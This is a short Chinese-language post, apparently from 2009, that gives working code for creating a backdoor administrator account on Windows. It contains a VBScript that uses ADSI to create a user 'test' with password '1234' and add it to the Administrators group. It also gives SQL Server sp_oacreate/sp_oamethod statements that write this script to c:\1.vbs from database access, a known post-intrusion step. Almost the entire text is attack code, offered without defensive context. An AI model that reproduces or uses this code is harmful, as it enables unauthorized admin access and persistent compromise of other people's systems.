vbs加administrator用户的代码

2009-9-25 16:57 695 0

摘要: 　　使用ADSI的Winnt对象，Windows2000后面的系统都属于NT系列　　set wsnetwork=CreateObject("WSCRIPT.NETWORK") 　　os="Win...

　　使用ADSI的Winnt对象，Windows2000后面的系统都属于NT系列　　set wsnetwork=CreateObject("WSCRIPT.NETWORK") 　　os="WinNT://"&wsnetwork.ComputerName 　　Set ob=GetObject(os) '得到adsi接口,绑定　　Set oe=GetObject(os&"/Administrators,group") '属性,admin组　　Set od=ob.Create("user","test") '建立用户　　od.SetPassword "1234" '设置密码　　od.SetInfo '保存　　Set of=GetObject(os&"/test",user) '得到用户　　oe.add os&"/test" 　　SQL语句如下，采用sp_oamethod过程：　　declare @o int, @f int, @ret int 　　exec sp_oacreate 'scripting.filesystemobject', @o out 　　exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject 　　("WSCRIPT.NETWORK")' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. 　　ComputerName' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject 　　(os&"/Administrators,group")' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create 　　("user","test")' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo ' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject 　　(os&"/test",user) ' 　　exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除